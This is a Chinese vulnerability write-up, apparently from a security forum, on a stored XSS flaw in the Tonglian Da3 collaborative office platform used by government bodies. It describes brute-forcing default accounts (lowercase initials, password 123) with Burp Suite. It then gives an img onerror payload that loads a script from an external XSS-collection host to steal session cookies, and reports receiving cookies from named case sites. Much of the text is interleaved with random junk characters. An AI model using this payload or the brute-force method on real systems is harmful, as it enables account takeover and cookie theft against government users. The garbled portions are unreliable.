同联Da3协同办公平台后台通用储存型xss漏洞

admin

3 x* E) Y# w5 o, E / A, n0 F! J- F+ B+ @ * c- z% X2 ^/ ]+ D6 ?) D- C 4 u: O; a5 e* U2 k+ u: T9 I& W 6 u% j6 y0 ]7 @7 U2 B , @- Q$ v5 ]5 f2 }* _% m ( `, a6 _: W% b$ s6 e# X" E9 j

& V: c4 b/ }& l' ?4 g B$ R; w 同联Da3协同办公平台后台通用储存型xss漏洞

# E% n4 y$ A! E8 h5 r 平台简介：

) Y4 v% m4 ]0 R) d+ ~1 C0 b  

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
! B- q. R# H7 r7 P5 `同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
* G1 m# ]. L3 W6 V9 h5 l8 v同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

9 L% S, f/ J p# l   D6 R9 i1 P" O0 X

, {7 K: S0 |4 R3 o$ |

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

 

- _ m( \* O; h" T# u" L

" h. W3 U3 _: f, }) C9 m9 _ http://1.1.1.1:7197/cap-aco/#（案例2-） ( T# D$ @) Z: o, `

+ i8 S/ W& j/ d) ?/ K http://www.XXOO.com （案例1-官网网站） + B/ D& Y* k) X3 o/ k: N' X

( d- {% P) ]8 n3 u 漏洞详情:

" C' T. P" n# |6 U

 案例一、

& O. D4 z8 a5 _: ~; W; V7 X% C3 o 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  1 o9 H6 ?& z1 @9 Y

' q5 l2 l# ^, k% D9 C! S' B" y4 r" f

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图：

G* _! @1 a( t

0 P, v+ C. G( f  

5 o" I, S6 Z1 _" o

/ A6 z9 ^9 u; b6 ^

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下 - h2 Q( e# k. B

; G Y6 T) t9 g6 c* r

  7 H- y [1 Q# [

( V4 X8 L- L0 d

9 N$ ^) W+ a- b3 n7 l <img src=x ' l0 J' L! E. j7 ?/ Z- ]onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： # K! r R# l1 w* A! U

( J; G1 A4 H( x; e" M

; ]/ F& M" g$ ?8 n. }8 H4 Z

! n; x$ o3 x- ]! |3 C 然后发送，接收cookie如图：

 

  , j) S( v, x C& R; j7 Y

 

) _% }5 T- ~; R* U; t I# F9 P

  5 I' T' X1 X# S0 F6 j3 m9 q& Q, v( I

: q9 ?* d- r# b$ `; T" j% r

/ d) @8 R/ s/ {1 k6 I+ I& z8 j 2 L5 M. H: e, p) K/ x

: I3 N+ U4 a# C7 Q

$ q p+ d3 [5 ~ p6 `/ {

  2 O$ j& v* m6 X7 D1 r( F5 \

2 o! Y, q5 b. X/ X# X 案例2、

6 q% R; q1 B- e7 T V: g. d 前面步骤都一样，下面看效果图：

1 w& g5 V1 \3 n- [4 r. U; {

! I& e0 u- ^) d+ z$ Y" Z0 m b

 

7 t) i% n7 J {3 n2 I, P

& w0 l5 {8 b3 X   $ ?8 B* p2 a2 U! f+ Q2 E5 t2 c3 y

) P7 U C) J+ j

. Q2 f* L6 @1 ]/ @7 P; h z) ]/ S  

0 V" r$ P; z6 w

' z8 q# O( _' K5 Z& l" l9 F- j  

3 k1 \( j' s9 J. x1 q

4 P0 w" x/ j) R( x  

, W# D7 P3 A+ ~! o# `0 q+ d7 E

  : s% G% U9 R) L9 D7 `

! @% E5 S5 T; C; O